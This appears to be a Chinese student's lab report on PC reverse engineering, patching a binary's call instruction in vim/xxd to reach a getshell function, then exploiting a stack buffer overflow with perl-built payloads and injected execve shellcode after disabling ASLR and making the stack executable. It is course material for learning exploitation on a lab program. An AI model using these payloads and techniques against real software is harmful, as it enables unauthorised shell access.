2018-2019-2 网络对抗技术 20165318 Exp1 PC平台逆向破解
实验模块
实验准备
设置共享文件夹(这一步我已经在之前安装kali的时候做好了)
将老师提供的
pwn1
文件通过共享文件夹传到kali上以便以后使用。将
pwn1
文件复制到主目录下,并进行备份输入
apt-get install lib32z1
指令,使64位kali可以运行32位程序
知识点描述
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
具体用法和功能可参考汇编指令和机器码的对应表
- NOP汇编指令的机器码是“90”
- JNE汇编指令的机器码是“75”
- JE 汇编指令的机器码是“74”
- JMP汇编指令的机器码是“eb”
- CMP汇编指令的机器码是“39”
- 掌握反汇编与十六进制编程器
反汇编指令
objdump -d filename
,可参考Linux下C程序的反汇编
- 如果我们想要以全屏幕的方式按页显示反汇编的内容,可以利用“管道”,即在反汇编指令后添加
| more
,这样我们就可以利用more的一些快捷键,如:Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)管道“|”,输出重定向“>”,具体的功能和用法可参考linux下输入输出重定向和管道符
十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
- 输入命令
vi pwn1
查看可执行文件内容,为ASCII码形式显示;- 输入
:%!xxd
将显示模式切换为16进制模式;- 进行相关操作后,输入
:%!xxd -r
转换16进制为为ASCII码形式。
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
任务一 直接修改程序机器指令,改变程序执行流程
通过修改main函数中的call指令跳转的地址,使其本来该跳转到foo函数时,跳转到getshell函数,从而运行getshell函数。
注:call指令的机器码为e8
,其跳转的位置为寄存器eip的值+call指令后的立即数
1.输入指令objdump -d pwn1 | more
反汇编pwn1
文件。
通过反汇编,可以看到main函数中的call 804891<foo>
,其机器码为e8 d7 ff ff ff
。
其中foo函数的地址为08048491
,getshell函数的地址为0804847d
,通过计算其对应关系(小端机器)
0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要修改的目标地址
2.输入指令vi pwn1
打开文件
打开之后我们会看到文件以ASCII码的形式出现
3.输入:%!xxd
通过调用命令行,将文件转换为16进制查看
4.使用/d7
命令寻找e8d7ffffff
机器指令所在位置
5.找到后,输入i
进入插入模式,将d7
修改为c3
6.输入:%!xxd -r
将文件转换为ASCII码形式(一定要转换,否则会出问题),输入:wq
保存并退出
7.此时输入指令objdump -d pwn1 | more
查看,可以发现pwn1
文件已经被修改了
8.运行pwn1
文件和pwn1.0
文件(pwn1
文件是被修改过的,pwn1.0
文件是原始的未被修改过的),可以发现两个文件的运行结果是截然不同的。
实验成功!!!
任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
pwn2
正常运行是调用函数foo,但是这个函数有Bufferoverflow漏洞。读入字符串时,系统只预留了一定字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。
1.输入指令objdump -d pwn2 | more
查看,计算要达到缓冲区溢出说需要输入的字符数
由上图可以推测,需要输入的字节大约在32字节,下面对其进行验证
2.打开一个终端进入gdb,输入字符串1111111122222222333333334444444412345555
,观察一下各寄存器的值
从上图可以看到eip
寄存器中的值为0x34333231
,对应字符串中的1234
。
由此可见,如果输入字符串1111111122222222333333334444444412345555
,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getshell 的内存地址,输给pwn2,pwn2就会运行getshell。
getshell函数的地址为:0x0804847d
,由于输入字符串时是以ASCII码输入,因此要转换为\x7d\x84\x04\x08
,并需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)。
3.输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF.1
4.输入xxd BOF.1
查看内容
5.通过管道符|
,作为pwn1的输入,格式为(cat BOF.1; cat ) | ./pwn2
。
攻击成功!!!
任务三 注入Shellcode并运行攻击
shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
1.输入指令apt-get install execstack
安装execstack
并设置堆栈可执行:
execstack -s pwn3 //设置堆栈可执行
execstack -q pwn3 //查询文件的堆栈是否可执行
2.关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭
echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化
(“2”为开启,“0”为关闭)
3.我们需要注入一段代码,我们首先构造一个input_shellcode(参考老师给的代码):
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
4.在一个窗口运行(cat input_shellcode;cat) | ./pwn3
5.在另外一个窗口ps -ef | grep pwn
能看见当前运行pwn3的进程号为2396;
6.在gdb里面attach 2396
进行调试
7.disassemble foo
反编译
8.可以看到ret指令的地址为0x080484ae
,在此处设置断点break *0x080484ae
9.在另一个终端按下回车,这样程序就会执行之后在断点处停下来
10.再在gdb调试的终端输入 c
继续运行程序
11.info r esp
查看esp寄存器地址
12.x/16x 0xffffd34c
以16进制形式查看0xffffd34c地址后面16字节的内容
从上图中看到 01020304
所在的地址为0xffffd34c
,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xffffd34c + 0x00000004 = 0xffffd350
。随后退出gdb调试。
13.修改注入代码的覆盖地址
perl -e 'print "A" x 32;print"\x50\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
14.输入命令(cat input_shellcode;cat) | ./pwn3
攻击成功!!!
遇到的问题及解决方法
问题:在64位kali上运行pwn1时,出现以下问题。
解决方法:参考64位Kali无法顺利执行pwn1问题的解决方案,输入
apt-get install lib32z1
指令,使64位kali可以运行32位程序。
实验收获与感想
- 我的收获
虽然在之前的课程中学习过指令体系结构以及其对应机器码的相关内容,但当时学习的时候并没有完全掌握,对堆栈和一些寄存器的使用还很懵懂。第一次动手实现缓冲区溢出攻击,使我对堆栈的结构有了更深的认识,理解了堆栈是怎么被恶意代码覆盖的,覆盖后是怎么实现跳转的,跳转后是怎么执行的;也在实践中掌握了一些常用的指令的机器码以及寄存器的功能。
- 什么是漏洞?漏洞有什么危害?
通过这次实验,我发现缓冲区溢出漏洞是在程序设计时,由于没有考虑到输入超出栈分配的空间的情况,被攻击者利用造成的,这些漏洞可能一方面与程序设计有关,一方面还与计算机本身的设置和属性有关,比如要想构造payload进行bof攻击,必须提前更改相关设置,让堆栈中的代码可执行,这也可以体现出计算机设置不足也会给攻击者提供机会。危害很大,被攻击的计算机可能会进入命令行模式,从而攻击者可以对文件进行任意的操作,也可能会执行相关的恶意代码,为木马植入、后门设置提供条件。
参考资料
2018-2019-2 网络对抗技术 20165318 Exp1 PC平台逆向破解的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
<网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...
随机推荐
- #15 time&datetime&calendar模块
前言 从这一节开始,记录一些常用的内置模块,模块的学习可能比较无聊,但基础就在这无聊的模块中,话不多说,本节记录和时间相关的模块! 一.time模块 Python中设计时间的模块有很多,但是最常用的就 ...
- Linux中ansible批量管理软件部署及剧本编写
服务器版本信息: Centos6.9 [root@db02 ~]# uname -a Linux db02 2.6.32-696.el6.x86_64 #1 SMP Tue Mar 21 19:29: ...
- CentOS配置VSFTP服务
1.安装vsftpd a.查看是否安装vsftp [root@wsyjlly ~]# rpm -q vsftpd package vsftpd is not installed b.如果没有则安装vs ...
- ServiceFramework作为Java Web框架都有哪些不错的设计
前言 最近需要开发一个纯API的项目,mlsql-cluster,从无到有,到最后完整的proxy功能开发完毕,只花了四个小时不到,自己不尽小感叹了一把 ServiceFramework的高效. 关于 ...
- Bell(hdu4767+矩阵+中国剩余定理+bell数+Stirling数+欧几里德)
Bell Time Limit:3000MS Memory Limit:32768KB 64bit IO Format:%I64d & %I64u Submit Status ...
- Paired t-test
1 Continuous Dependent Variable with normal distribution 1 (2 Level) Categorical Independent Variabl ...
- MVCmoduleExample.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Mysql数据库单表查询
1.单表查询语法 #查询数据的本质:mysql会到你本地的硬盘上找到对应的文件,然后打开文件,按照你的查询条件来找出你需要的数据.下面是完整的一个单表查询的语法 select * from,这个sel ...
- JS模拟实现数组的map方法
昨天使用map方法的时候,突然感觉一直在直接用,也没有试试是怎么实现的,本来想直接搜一篇文章盘一下子,结果没搜到合适的,好吧,那就自己来写一下子吧 今天就来实现一个简单的map方法 首先我们来看一下m ...
- 【读书笔记】iOS-viewWillAppear:和viewDidLoad:
viewDidLoad:是视图第一次载入到内存中后调用的,viewWillApear:则是在每次视图显示到屏幕上之前调用. 参考资料:<iOS编程指南>